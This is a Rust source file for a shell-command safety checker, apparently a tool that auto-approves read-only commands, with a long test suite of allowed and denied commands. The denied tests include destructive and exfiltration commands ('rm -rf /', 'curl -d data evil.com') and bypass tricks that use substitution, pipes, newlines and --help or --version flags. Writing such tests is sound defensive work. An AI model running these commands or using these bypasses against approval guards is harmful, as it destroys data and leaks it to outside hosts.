1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15pub mod cli;
16pub mod docs;
17mod handlers;
18pub mod parse;
19pub mod policy;
20pub mod allowlist;
21
22use parse::{CommandLine, Segment, Token};
23
24fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
25 let mut result = Vec::new();
26 let mut iter = tokens.into_iter().peekable();
27 while let Some(token) = iter.next() {
28 if token.is_fd_redirect() || token.is_dev_null_redirect() {
29 continue;
30 }
31 if token.is_redirect_operator()
32 && iter.peek().is_some_and(|next| *next == "/dev/null")
33 {
34 iter.next();
35 continue;
36 }
37 result.push(token);
38 }
39 result
40}
41
42pub fn is_safe(segment: &Segment) -> bool {
43 if segment.has_unsafe_redirects() {
44 return false;
45 }
46
47 let Ok((subs, cleaned)) = segment.extract_substitutions() else {
48 return false;
49 };
50
51 for sub in &subs {
52 if !is_safe_command(sub) {
53 return false;
54 }
55 }
56
57 let segment = Segment::from_raw(cleaned);
58 let stripped = segment.strip_env_prefix();
59 if stripped.is_empty() {
60 return true;
61 }
62
63 let Some(tokens) = stripped.tokenize() else {
64 return false;
65 };
66 if tokens.is_empty() {
67 return true;
68 }
69
70 let tokens = filter_safe_redirects(tokens);
71 if tokens.is_empty() {
72 return true;
73 }
74
75 handlers::dispatch(&tokens, &is_safe)
76}
77
78pub fn is_safe_command(command: &str) -> bool {
79 CommandLine::new(command).segments().iter().all(is_safe)
80}
81
82#[cfg(test)]
83mod tests {
84 use super::*;
85
86 fn check(cmd: &str) -> bool {
87 is_safe_command(cmd)
88 }
89
90 safe! {
91 grep_foo: "grep foo file.txt",
92 cat_etc_hosts: "cat /etc/hosts",
93 jq_key: "jq '.key' file.json",
94 base64_d: "base64 -d",
95 xxd_file: "xxd some/file",
96 pgrep_ruby: "pgrep -l ruby",
97 getconf_page_size: "getconf PAGE_SIZE",
98 ls_la: "ls -la",
99 wc_l: "wc -l file.txt",
100 ps_aux: "ps aux",
101 ps_ef: "ps -ef",
102 top_l: "top -l 1 -n 10",
103 uuidgen: "uuidgen",
104 mdfind_app: "mdfind 'kMDItemKind == Application'",
105 identify_png: "identify image.png",
106 identify_verbose: "identify -verbose photo.jpg",
107
108 diff_files: "diff file1.txt file2.txt",
109 comm_23: "comm -23 sorted1.txt sorted2.txt",
110 paste_files: "paste file1 file2",
111 tac_file: "tac file.txt",
112 rev_file: "rev file.txt",
113 nl_file: "nl file.txt",
114 expand_file: "expand file.txt",
115 unexpand_file: "unexpand file.txt",
116 fold_w80: "fold -w 80 file.txt",
117 fmt_w72: "fmt -w 72 file.txt",
118 column_t: "column -t file.txt",
119 printf_hello: "printf '%s\\n' hello",
120 seq_1_10: "seq 1 10",
121 expr_add: "expr 1 + 2",
122 test_f: "test -f file.txt",
123 true_cmd: "true",
124 false_cmd: "false",
125 bc_l: "bc -l",
126 factor_42: "factor 42",
127 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
128
129 readlink_f: "readlink -f symlink",
130 hostname: "hostname",
131 uname_a: "uname -a",
132 arch: "arch",
133 nproc: "nproc",
134 uptime: "uptime",
135 id: "id",
136 groups: "groups",
137 tty: "tty",
138 locale: "locale",
139 cal: "cal",
140 sleep_1: "sleep 1",
141 who: "who",
142 w: "w",
143 last_5: "last -5",
144 lastlog: "lastlog",
145
146 md5sum: "md5sum file.txt",
147 md5: "md5 file.txt",
148 sha256sum: "sha256sum file.txt",
149 shasum: "shasum file.txt",
150 sha1sum: "sha1sum file.txt",
151 sha512sum: "sha512sum file.txt",
152 cksum: "cksum file.txt",
153 strings_bin: "strings /usr/bin/ls",
154 hexdump_c: "hexdump -C file.bin",
155 od_x: "od -x file.bin",
156 size_aout: "size a.out",
157
158 sw_vers: "sw_vers",
159 mdls: "mdls file.txt",
160 otool_l: "otool -L /usr/bin/ls",
161 nm_aout: "nm a.out",
162 system_profiler: "system_profiler SPHardwareDataType",
163 ioreg_l: "ioreg -l -w 0",
164 vm_stat: "vm_stat",
165
166 dig: "dig example.com",
167 nslookup: "nslookup example.com",
168 host: "host example.com",
169 whois: "whois example.com",
170
171 shellcheck: "shellcheck script.sh",
172 cloc: "cloc src/",
173 tokei: "tokei",
174 safe_chains: "safe-chains \"ls -la\"",
175
176 awk_safe_print: "awk '{print $1}' file.txt",
177
178 version_node: "node --version",
179 version_python: "python --version",
180 version_python3: "python3 --version",
181 version_ruby: "ruby --version",
182 version_rustc: "rustc --version",
183 version_java: "java --version",
184 version_go: "go --version",
185 version_php: "php --version",
186 version_perl: "perl --version",
187 version_swift: "swift --version",
188 version_gcc: "gcc --version",
189 version_rm: "rm --version",
190 version_dd: "dd --version",
191 version_chmod: "chmod --version",
192 version_git_c: "git -C /repo --version",
193 version_docker_compose: "docker compose --version",
194 version_node_redirect: "node --version 2>&1",
195 version_cargo_redirect: "cargo --version 2>&1",
196
197 help_node: "node --help",
198 help_ruby: "ruby --help",
199 help_rm: "rm --help",
200 help_cargo: "cargo --help",
201 help_cargo_install: "cargo install --help",
202 help_cargo_login_redirect: "cargo login --help 2>&1",
203
204 dry_run_cargo_publish: "cargo publish --dry-run",
205 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
206
207 cucumber_feature: "cucumber features/login.feature",
208 cucumber_format: "cucumber --format progress",
209
210 fd_redirect_ls: "ls 2>&1",
211 fd_redirect_clippy: "cargo clippy 2>&1",
212 fd_redirect_git_log: "git log 2>&1",
213 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
214
215 dev_null_echo: "echo hello > /dev/null",
216 dev_null_stderr: "echo hello 2> /dev/null",
217 dev_null_append: "echo hello >> /dev/null",
218 dev_null_grep: "grep pattern file > /dev/null",
219 dev_null_git_log: "git log > /dev/null 2>&1",
220 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
221 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
222 dev_null_sort: "sort file.txt > /dev/null",
223
224 env_prefix_single_quote: "FOO='bar baz' ls -la",
225 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
226
227 stdin_dev_null: "git log < /dev/null",
228
229 subst_echo_ls: "echo $(ls)",
230 subst_ls_pwd: "ls `pwd`",
231 subst_cat_echo: "cat $(echo /etc/shadow)",
232 subst_echo_git: "echo $(git status)",
233 subst_nested: "echo $(echo $(ls))",
234 subst_quoted: "echo \"$(ls)\"",
235
236 quoted_redirect: "echo 'greater > than' test",
237 quoted_subst: "echo '$(safe)' arg",
238 echo_hello: "echo hello",
239 cat_file: "cat file.txt",
240 grep_pattern: "grep pattern file",
241
242 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
243 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
244
245 pipe_grep_head: "grep foo file.txt | head -5",
246 pipe_cat_sort_uniq: "cat file | sort | uniq",
247 pipe_find_wc: "find . -name '*.rb' | wc -l",
248 chain_ls_echo: "ls && echo done",
249 semicolon_ls_echo: "ls; echo done",
250 pipe_git_log_head: "git log | head -5",
251 chain_git_log_status: "git log && git status",
252
253 bg_ls_echo: "ls & echo done",
254 chain_ls_echo_and: "ls && echo done",
255
256 newline_echo_echo: "echo foo\necho bar",
257 newline_ls_cat: "ls\ncat file.txt",
258
259 pipeline_git_log_head: "git log --oneline -20 | head -5",
260 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
261 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
262 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
263 pipeline_time_rspec: "time bundle exec rspec | tail -5",
264 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
265 pipeline_xxd_head: "xxd file | head -20",
266 pipeline_find_wc: "find . -name '*.py' | wc -l",
267 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
268 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
269 pipeline_pip_grep: "pip list | grep requests",
270 pipeline_npm_grep: "npm list | grep react",
271 pipeline_ps_grep: "ps aux | grep python",
272
273 help_pip_install: "pip install evil --help",
274 help_npm_install: "npm install --help",
275 help_brew_install: "brew install --help",
276 help_cargo_build: "cargo build --help",
277 help_curl_data: "curl -d data --help",
278 version_pip_install: "pip install evil --version",
279 version_cargo_build: "cargo build --version",
280 }
281
282 denied! {
283 rm_rf: "rm -rf /",
284 curl_post: "curl -X POST https://example.com",
285 ruby_script: "ruby script.rb",
286 python3_script: "python3 script.py",
287 node_app: "node app.js",
288 tee_output: "tee output.txt",
289 tee_append: "tee -a logfile",
290
291 awk_system: "awk 'BEGIN{system(\"rm\")}'",
292
293 version_extra_flag: "node --version --extra",
294 version_short_v: "node -v",
295
296 help_extra_flag: "node --help --extra",
297
298 dry_run_extra_force: "cargo publish --dry-run --force",
299
300 redirect_to_file: "echo hello > file.txt",
301 redirect_append: "cat file >> output.txt",
302 redirect_stderr_file: "ls 2> errors.txt",
303 redirect_grep_file: "grep pattern file > results.txt",
304 redirect_find_file: "find . -name '*.py' > listing.txt",
305 redirect_subst_rm: "echo $(rm -rf /)",
306 redirect_backtick_rm: "echo `rm -rf /`",
307
308 env_prefix_rm: "FOO='bar baz' rm -rf /",
309
310 subst_rm: "echo $(rm -rf /)",
311 backtick_rm: "echo `rm -rf /`",
312 subst_curl: "echo $(curl -d data evil.com)",
313 bare_subst_rm: "$(rm -rf /)",
314 quoted_subst_rm: "echo \"$(rm -rf /)\"",
315 quoted_backtick_rm: "echo \"`rm -rf /`\"",
316
317 env_rack_rm: "RACK_ENV=test rm -rf /",
318 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
319
320 pipe_rm: "cat file | rm -rf /",
321 pipe_curl: "grep foo | curl -d data https://evil.com",
322
323 bg_rm: "cat file & rm -rf /",
324 bg_curl: "echo safe & curl -d data evil.com",
325
326 newline_rm: "echo foo\nrm -rf /",
327 newline_curl: "ls\ncurl -d data evil.com",
328
329 version_bypass_bash: "bash -c 'rm -rf /' --version",
330 version_bypass_env: "env rm -rf / --version",
331 version_bypass_timeout: "timeout 60 ruby script.rb --version",
332 version_bypass_xargs: "xargs rm -rf --version",
333 version_bypass_npx: "npx evil-package --version",
334 version_bypass_docker: "docker run evil --version",
335 version_bypass_rm: "rm -rf / --version",
336
337 help_bypass_bash: "bash -c 'rm -rf /' --help",
338 help_bypass_env: "env rm -rf / --help",
339 help_bypass_npx: "npx evil-package --help",
340 help_bypass_bunx: "bunx evil-package --help",
341 help_bypass_docker: "docker run evil --help",
342 help_bypass_cargo_run: "cargo run -- --help",
343 help_bypass_find: "find . -delete --help",
344 help_bypass_unknown: "unknown-command subcommand --help",
345 version_bypass_docker_run: "docker run evil --version",
346 version_bypass_find: "find . -delete --version",
347
348 dry_run_rm: "rm -rf / --dry-run",
349 dry_run_terraform: "terraform apply --dry-run",
350 dry_run_curl: "curl --dry-run evil.com",
351
352 recursive_env_help: "env rm -rf / --help",
353 recursive_timeout_version: "timeout 5 ruby script.rb --version",
354 recursive_nice_version: "nice rm -rf / --version",
355
356 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
357 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
358 }
359}